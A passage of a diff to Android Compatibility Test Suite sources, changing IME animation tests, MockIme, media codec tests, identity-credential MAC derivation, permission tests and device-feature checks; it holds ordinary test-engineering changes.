-            InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-            new ImeSettings.Builder().setInputViewHeight(KEYBOARD_HEIGHT).setDrawsBehindNavBar(true)
-    );
+    private static final int KEYBOARD_HEIGHT = 600;
 
     @Before
     public void setup() throws Exception {
@@ -71,33 +66,34 @@
         assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
                 mInstrumentation.getContext().getPackageManager().hasSystemFeature(
                         PackageManager.FEATURE_INPUT_METHODS));
+    }
+
+    private void initActivity(boolean useFloating) throws Exception {
+        initMockImeSession(useFloating);
+
         mActivity = startActivity(TestActivity.class);
         mRootView = mActivity.getWindow().getDecorView();
     }
 
+    private MockImeSession initMockImeSession(boolean useFloating) throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        return MockImeSession.create(
+                instrumentation.getContext(), instrumentation.getUiAutomation(),
+                useFloating ? getFloatingImeSettings()
+                        : new ImeSettings.Builder().setInputViewHeight(KEYBOARD_HEIGHT)
+                                .setDrawsBehindNavBar(true));
+    }
+
     @Test
-    public void testImeAnimationCallbacksShowAndHide() {
-        WindowInsets before = mActivity.mLastWindowInsets;
-        getInstrumentation().runOnMainSync(
-                () -> mRootView.getWindowInsetsController().show(ime()));
-
-        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
-        commonAnimationAssertions(mActivity, before, true /* show */, ime());
-        mActivity.mCallback.animationDone = false;
-
-        before = mActivity.mLastWindowInsets;
-
-        getInstrumentation().runOnMainSync(
-                () -> mRootView.getWindowInsetsController().hide(ime()));
-
-        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
-
-        commonAnimationAssertions(mActivity, before, false /* show */, ime());
+    public void testImeAnimationCallbacksShowAndHide() throws Exception {
+        initActivity(false /* useFloating */);
+        testShowAndHide();
     }
 
     @Test
     @FlakyTest(detail = "Promote once confirmed non-flaky")
-    public void testAnimationCallbacks_overlapping_opposite() {
+    public void testAnimationCallbacks_overlapping_opposite() throws Exception {
+        initActivity(false /* useFloating */);
         WindowInsets before = mActivity.mLastWindowInsets;
 
         MultiAnimCallback callbackInner = new MultiAnimCallback();
@@ -155,4 +151,39 @@
                 callback.imeAnimSteps.get(callback.imeAnimSteps.size() - 1).insets
                         .getInsets(ime()));
     }
+
+    @Test
+    public void testZeroInsetsImeAnimates() throws Exception {
+        initActivity(true /* useFloating */);
+        testShowAndHide();
+    }
+
+    private void testShowAndHide() {
+        WindowInsets before = mActivity.mLastWindowInsets;
+        getInstrumentation().runOnMainSync(
+                () -> mRootView.getWindowInsetsController().show(ime()));
+
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+        commonAnimationAssertions(mActivity, before, true /* show */, ime());
+        mActivity.mCallback.animationDone = false;
+
+        before = mActivity.mLastWindowInsets;
+
+        getInstrumentation().runOnMainSync(
+                () -> mRootView.getWindowInsetsController().hide(ime()));
+
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+
+        commonAnimationAssertions(mActivity, before, false /* show */, ime());
+    }
+
+    private static ImeSettings.Builder getFloatingImeSettings() {
+        final ImeSettings.Builder builder = new ImeSettings.Builder();
+        builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
+        // As documented, Window#setNavigationBarColor() is actually ignored when the IME window
+        // does not have FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS.  We are calling setNavigationBarColor()
+        // to ensure it.
+        builder.setNavigationBarColor(Color.BLACK);
+        return builder;
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index d4e6472..f51708f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -20,6 +20,7 @@
 import static android.server.wm.WindowInsetsAnimationUtils.requestControlThenTransitionToVisibility;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowInsets.Type.ime;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -43,6 +44,7 @@
 import android.view.WindowInsetsAnimation;
 import android.view.WindowInsetsAnimation.Callback;
 import android.view.WindowInsetsController;
+import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputMethodManager;
 import android.widget.EditText;
 import android.widget.FrameLayout;
@@ -136,8 +138,10 @@
             super.onCreate(savedInstanceState);
             getWindow().requestFeature(Window.FEATURE_NO_TITLE);
             getWindow().setDecorFitsSystemWindows(false);
+            getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
             mTestView = new TestView(this);
             mEditText = new EditText(this);
+            mEditText.setImeOptions(EditorInfo.IME_FLAG_NO_FULLSCREEN);
             mTestView.addView(mEditText);
             mTestView.mEvaluator = () -> {
                 if (mEvaluator != null) {
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 5be50de..b0c66cf 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -613,12 +613,7 @@
     @Override
     public void onStartInput(EditorInfo editorInfo, boolean restarting) {
         getTracer().onStartInput(editorInfo, restarting,
-                () -> {
-                    super.onStartInput(editorInfo, restarting);
-                    if (mSettings.getInlineSuggestionsEnabled()) {
-                        maybeClearExistingInlineSuggestions();
-                    }
-                });
+                () -> super.onStartInput(editorInfo, restarting));
     }
 
     @Override
@@ -727,13 +722,6 @@
         final AtomicInteger mInflatedViewCount;
         final AtomicBoolean mValid = new AtomicBoolean(true);
 
-        PendingInlineSuggestions() {
-            mResponse = null;
-            mTotalCount = 0;
-            mViews = null;
-            mInflatedViewCount = null;
-        }
-
         PendingInlineSuggestions(InlineSuggestionsResponse response) {
             mResponse = response;
             mTotalCount = response.getInlineSuggestions().size();
@@ -780,7 +768,9 @@
             }
             mPendingInlineSuggestions = pendingInlineSuggestions;
             if (pendingInlineSuggestions.mTotalCount == 0) {
-                mView.updateInlineSuggestions(pendingInlineSuggestions);
+                if (mView != null) {
+                    mView.updateInlineSuggestions(pendingInlineSuggestions);
+                }
                 return true;
             }
 
@@ -811,15 +801,6 @@
         });
     }
 
-    @MainThread
-    private void maybeClearExistingInlineSuggestions() {
-        if (mPendingInlineSuggestions != null
-                && mPendingInlineSuggestions.mTotalCount > 0) {
-            mView.updateInlineSuggestions(new PendingInlineSuggestions());
-            mPendingInlineSuggestions = null;
-        }
-    }
-
     /**
      * Event tracing helper class for {@link MockIme}.
      */
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index 343f4f0..4b765ab 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -83,7 +83,7 @@
         }
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 // Audio - CodecMime, bit-rate, sample rate, channel count
-                {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 8000, 1, -1},
+                {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 48000, 1, -1},
                 {MediaFormat.MIMETYPE_AUDIO_AAC, 128000, 48000, 2, -1},
 
                 // Video - CodecMime, bit-rate, height, width, frame-rate
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 29a860e..47ccab4 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -445,7 +445,10 @@
     }
 
     public void testInteractAcrossProfilesSettings() {
-        assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+        PackageManager packageManager = mContext.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_PROFILES)) {
+            assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+        }
     }
 
     public void testChangeDefaultSmsApplication() {
@@ -496,6 +499,12 @@
 
     @CddTest(requirement = "7.4.2.6/C-1-1")
     public void testEasyConnectIntent() {
+        // Android only supports Initiator-... modes right now, which require the device to
+        // have a QR-code capture mechanism. Therefore this feature does not make sense on
+        // non-handheld devices.
+        if (!isHandheld()) {
+            return;
+        }
         WifiManager manager = mContext.getSystemService(WifiManager.class);
 
         if (manager.isEasyConnectSupported()) {
@@ -529,6 +538,11 @@
     }
 
     public void testVoiceInputSettingsIntent() {
+        // Non-handheld devices do not allow more than one VoiceInteractionService, and therefore do
+        // not have to support this Intent.
+        if (!isHandheld()) {
+            return;
+        }
         Intent intent = new Intent(Settings.ACTION_VOICE_INPUT_SETTINGS);
         assertCanBeHandled(intent);
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
index 99d7268..beab1c4 100644
--- a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
@@ -76,6 +76,11 @@
             return;
         }
 
+        // Skip the tests for low-RAM devices
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
         fail("Device should support managed profiles, but "
                 + PackageManager.FEATURE_MANAGED_USERS + " is not enabled");
     }
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index a736878..a11406c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -71,7 +71,8 @@
     @CddTest(requirement = "7.1.4.2/C-1-8,C-1-9")
     @Test
     public void testVulkanDeqpLevel() {
-        if (mVulkanHardwareVersion.version >= VULKAN_1_0) {
+        if (mVulkanHardwareVersion != null
+                && mVulkanHardwareVersion.version >= VULKAN_1_0) {
             if (DEBUG) {
                 Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
                         + " has an acceptable value");
diff --git a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
index 4d9564c..c5c5cd1 100644
--- a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
@@ -268,10 +268,13 @@
         // Calculate the MAC by deriving the key using ECDH and HKDF.
         SecretKey eMacKey = Util.calcEMacKeyForReader(
             key0Cert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        byte[] deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         byte[] expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
 
         // Then compare it with what the TA produced.
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
@@ -304,10 +307,13 @@
             resultCbor);
         eMacKey = Util.calcEMacKeyForReader(
             key4Cert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
 
         // And again.... this time key0 should have been used. Check it.
@@ -436,10 +442,13 @@
             resultCbor);
         eMacKey = Util.calcEMacKeyForReader(
             keyNewCert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
 
         // ... and we're done. Clean up after ourselves.
diff --git a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
index 737f7719..ce5e311 100644
--- a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
@@ -440,8 +440,8 @@
         byte[] sessionTranscriptBytes = Util.buildSessionTranscript(ephemeralKeyPair);
 
         // Finally, create the structure that the reader signs, and sign it.
-        byte[] dataToBeSignedByReader = Util.buildReaderAuthenticationCbor(sessionTranscriptBytes,
-                requestMessage);
+        byte[] dataToBeSignedByReader =
+                Util.buildReaderAuthenticationBytesCbor(sessionTranscriptBytes, requestMessage);
         byte[] readerSignature = Util.coseSign1Sign(readerKeyToSignWith.getPrivate(),
                 null, // payload
                 dataToBeSignedByReader, // detached content
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index 2586c65..df9a300 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -922,11 +922,11 @@
     }
 
     static byte[] buildDeviceAuthenticationCbor(String docType,
-            byte[] sessionTranscriptBytes,
+            byte[] encodedSessionTranscript,
             byte[] deviceNameSpacesBytes) {
         ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
         try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
             List<DataItem> dataItems = null;
             dataItems = new CborDecoder(bais).decode();
             DataItem sessionTranscript = dataItems.get(0);
@@ -946,13 +946,13 @@
         return daBaos.toByteArray();
     }
 
-    static byte[] buildReaderAuthenticationCbor(
-            byte[] sessionTranscriptBytes,
+    static byte[] buildReaderAuthenticationBytesCbor(
+            byte[] encodedSessionTranscript,
             byte[] requestMessageBytes) {
 
         ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
         try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
             List<DataItem> dataItems = null;
             dataItems = new CborDecoder(bais).decode();
             DataItem sessionTranscript = dataItems.get(0);
@@ -968,22 +968,49 @@
         } catch (CborException e) {
             throw new RuntimeException("Error encoding ReaderAuthentication", e);
         }
-        return daBaos.toByteArray();
+        byte[] readerAuthentication = daBaos.toByteArray();
+        return Util.prependSemanticTagForEncodedCbor(readerAuthentication);
+    }
+
+    static byte[] prependSemanticTagForEncodedCbor(byte[] encodedCbor) {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        try {
+            ByteString taggedBytestring = new ByteString(encodedCbor);
+            taggedBytestring.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
+            new CborEncoder(baos).encode(taggedBytestring);
+        } catch (CborException e) {
+            throw new RuntimeException("Error encoding with semantic tag for CBOR encoding", e);
+        }
+        return baos.toByteArray();
+    }
+
+    static byte[] concatArrays(byte[] a, byte[] b) {
+        byte[] ret = new byte[a.length + b.length];
+        System.arraycopy(a, 0, ret, 0, a.length);
+        System.arraycopy(b, 0, ret, a.length, b.length);
+        return ret;
     }
 
     static SecretKey calcEMacKeyForReader(PublicKey authenticationPublicKey,
-            PrivateKey ephemeralReaderPrivateKey) {
+            PrivateKey ephemeralReaderPrivateKey,
+            byte[] encodedSessionTranscript) {
         try {
             KeyAgreement ka = KeyAgreement.getInstance("ECDH");
             ka.init(ephemeralReaderPrivateKey);
             ka.doPhase(authenticationPublicKey, true);
             byte[] sharedSecret = ka.generateSecret();
 
+            byte[] sessionTranscriptBytes =
+                    Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
+            byte[] sharedSecretWithSessionTranscriptBytes =
+                    Util.concatArrays(sharedSecret, sessionTranscriptBytes);
+
             byte[] salt = new byte[1];
             byte[] info = new byte[0];
 
             salt[0] = 0x00;
-            byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
+            byte[] derivedKey = Util.computeHkdf("HmacSha256",
+                    sharedSecretWithSessionTranscriptBytes, salt, info, 32);
             SecretKey secretKey = new SecretKeySpec(derivedKey, "");
             return secretKey;
         } catch (InvalidKeyException
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
new file mode 100644
index 0000000..c0d5056
--- /dev/null
+++ b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 0b4dee5..8536f30 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -559,6 +559,38 @@
         }
     }
 
+
+    /**
+     * Verify that seeking works correctly for USAC.
+     * Sync samples have to be taken into consideration.
+     */
+    @Test
+    public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacSyncSampleSeekingM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacSyncSampleSeekingM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+        // test usac seeking
+        try {
+            checkUsacSyncSampleSeeking(R.raw.sine_2ch_48khz_aot42_seek_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+    }
+
     /**
      *  Internal utilities
      */
@@ -796,6 +828,17 @@
         }
     }
 
+    private void checkUsacSyncSampleSeeking(int testInput, String decoderName) throws Exception {
+
+        AudioParameter decParams = new AudioParameter();
+        DrcParams drcParams_def = new DrcParams();
+
+        short[] decSamples_seek_next_sync = decodeToMemory(decParams, testInput, -1, null,
+                drcParams_def, decoderName, false, -2, true, 1100000,
+                MediaExtractor.SEEK_TO_NEXT_SYNC);
+        float[] nrg_seek_next_sync = checkEnergyUSAC(decSamples_seek_next_sync, decParams, 2, 1);
+    }
+
     /**
      * Perform a segmented energy analysis on given audio signal samples and run several tests on
      * the energy values.
@@ -1172,11 +1215,16 @@
      *                      before starting to decode
      * @param expectedOutputLoudness value to check if the correct output loudness is returned
      *     by the decoder
+     * @param seek_enable defines whether there will be an initial seek
+     * @param seek_duration seeking duration in microseconds
+     * @param seek_mode seeking mode 
+     *
      * @throws RuntimeException
      */
     public short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
             List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
-            int expectedOutputLoudness) throws IOException {
+            int expectedOutputLoudness,
+            boolean seek_enable, int seek_duration, int seek_mode) throws IOException {
         // TODO: code is the same as in DecoderTest, differences are:
         //          - addition of application of DRC parameters
         //          - no need/use of resetMode, configMode
@@ -1285,6 +1333,12 @@
 
         extractor.selectTrack(0);
 
+        // execute initial seeking if specified
+        if (seek_enable) {
+            codec.flush();
+            extractor.seekTo(seek_duration, seek_mode);
+        }
+
         // start decoding
         final long kTimeOutUs = 5000;
         MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
@@ -1436,7 +1490,7 @@
             throws IOException
     {
         final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, false, -2);
+                drcParams, decoderName, false, -2, false, 0, 0);
         return decoded;
     }
 
@@ -1446,9 +1500,18 @@
         throws IOException
     {
         final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, runtimeChange, -2);
+                drcParams, decoderName, runtimeChange, -2, false, 0, 0);
         return decoded;
     }
 
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+        int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+        boolean runtimeChange, int expectedOutputLoudness)
+        throws IOException
+    {
+        short [] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps, drcParams,
+                decoderName, runtimeChange, expectedOutputLoudness, false, 0, 0);
+        return decoded;
+    }
 }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
index 58eec3e..f6ac4f7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
@@ -59,6 +59,7 @@
 /**
  * MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
  */
+@NonMediaMainlineTest
 public class MediaCodecBlockModelTest extends AndroidTestCase {
     private static final String TAG = "MediaCodecBlockModelTest";
     private static final boolean VERBOSE = false;           // lots of logging
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 3f6e690..48466d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -285,6 +285,8 @@
         final CountDownLatch successLatch2 = new CountDownLatch(1);
         final CountDownLatch failureLatch = new CountDownLatch(1);
         final CountDownLatch stopLatch = new CountDownLatch(1);
+        final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
+
         final List<RoutingController> createdControllers = new ArrayList<>();
 
         // Create session with this route
@@ -311,6 +313,16 @@
             }
         };
 
+        StubMediaRoute2ProviderService service = mService;
+        if (service != null) {
+            service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
+                @Override
+                public void onReleaseSession(long requestId, String sessionId) {
+                    onReleaseSessionLatch.countDown();
+                }
+            });
+        }
+
         Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
         MediaRoute2Info route1 = routes.get(ROUTE_ID1);
         MediaRoute2Info route2 = routes.get(ROUTE_ID2);
@@ -337,15 +349,19 @@
             RoutingController controller1 = createdControllers.get(0);
             RoutingController controller2 = createdControllers.get(1);
 
-            // The first controller is expected to be released.
-            assertTrue(controller1.isReleased());
-
             assertNotEquals(controller1.getId(), controller2.getId());
             assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
                     ROUTE_ID1));
             assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
                     ROUTE_ID2));
 
+            // Transferred controllers shouldn't be obtainable.
+            assertFalse(mRouter2.getControllers().contains(controller1));
+            assertTrue(mRouter2.getControllers().contains(controller2));
+
+            // Should be able to release transferred controllers.
+            controller1.release();
+            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
         } finally {
             releaseControllers(createdControllers);
             mRouter2.unregisterRouteCallback(routeCallback);
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
index a19ba64..34ca9a4 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
@@ -80,6 +80,7 @@
 import com.android.testutils.ArrayTrackRecord;
 import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
 import com.android.testutils.DevSdkIgnoreRunner;
+import com.android.testutils.SkipPresubmit;
 
 import org.junit.After;
 import org.junit.Before;
@@ -189,6 +190,7 @@
         cb.assertNoCallback();
     }
 
+    @SkipPresubmit(reason = "Flaky: b/159718782; add to presubmit after fixing")
     @Test
     public void testRegisterCallbackWithCarrierPrivileges() throws Exception {
         assumeTrue(mPackageManager.hasSystemFeature(FEATURE_TELEPHONY));
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index e6f75c3..4acbbcf 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -47,6 +47,7 @@
 import android.util.Log;
 
 import com.android.net.module.util.DnsPacket;
+import com.android.testutils.SkipPresubmit;
 
 import java.net.Inet4Address;
 import java.net.Inet6Address;
@@ -585,6 +586,7 @@
         doTestContinuousQueries(mExecutor);
     }
 
+    @SkipPresubmit(reason = "Flaky: b/159762682; add to presubmit after fixing")
     public void testContinuousQueriesInline() throws Exception {
         doTestContinuousQueries(mExecutorInline);
     }
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 835f541..9bebccf 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -17,6 +17,7 @@
 package android.os.cts
 
 import android.content.Intent
+import android.content.Intent.ACTION_AUTO_REVOKE_PERMISSIONS
 import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
 import android.content.pm.PackageManager
 import android.content.pm.PackageManager.PERMISSION_DENIED
@@ -24,7 +25,6 @@
 import android.net.Uri
 import android.platform.test.annotations.AppModeFull
 import android.provider.DeviceConfig
-import android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiObject2
@@ -287,7 +287,7 @@
     }
 
     private fun goToPermissions(packageName: String = APK_PACKAGE_NAME) {
-        context.startActivity(Intent(ACTION_APPLICATION_DETAILS_SETTINGS)
+        context.startActivity(Intent(ACTION_AUTO_REVOKE_PERMISSIONS)
                 .setData(Uri.fromParts("package", packageName, null))
                 .addFlags(FLAG_ACTIVITY_NEW_TASK))
 
diff --git a/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
new file mode 100644
index 0000000..45288bd
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import org.junit.rules.MethodRule;
+import org.junit.runners.model.FrameworkMethod;
+import org.junit.runners.model.Statement;
+
+/**
+ * A {@link org.junit.Rule} that will cause all tests in the class
+ * to be ignored if the argument to the constructor is true.
+ */
+public class IgnoreAllTestsRule implements MethodRule {
+
+    private boolean mIgnore;
+
+    /**
+     * Creates a new IgnoreAllTestsRule
+     * @param ignore If true, all tests in the class will be ignored. If false, this rule will
+     *               do nothing.
+     */
+    public IgnoreAllTestsRule(boolean ignore) {
+        mIgnore = ignore;
+    }
+
+    @Override
+    public Statement apply(Statement base, FrameworkMethod method, Object target) {
+        if (mIgnore) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                }
+            };
+        } else {
+            return base;
+        }
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index 656f6ad..5670cc1 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -43,6 +43,7 @@
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 
 import java.util.concurrent.CompletableFuture;
@@ -70,6 +71,10 @@
 
     private String mOldOneTimePermissionTimeoutValue;
 
+    @Rule
+    public IgnoreAllTestsRule mIgnoreAutomotive = new IgnoreAllTestsRule(
+            mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
     @Before
     public void wakeUpScreen() {
         SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 302e55b..3627195 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
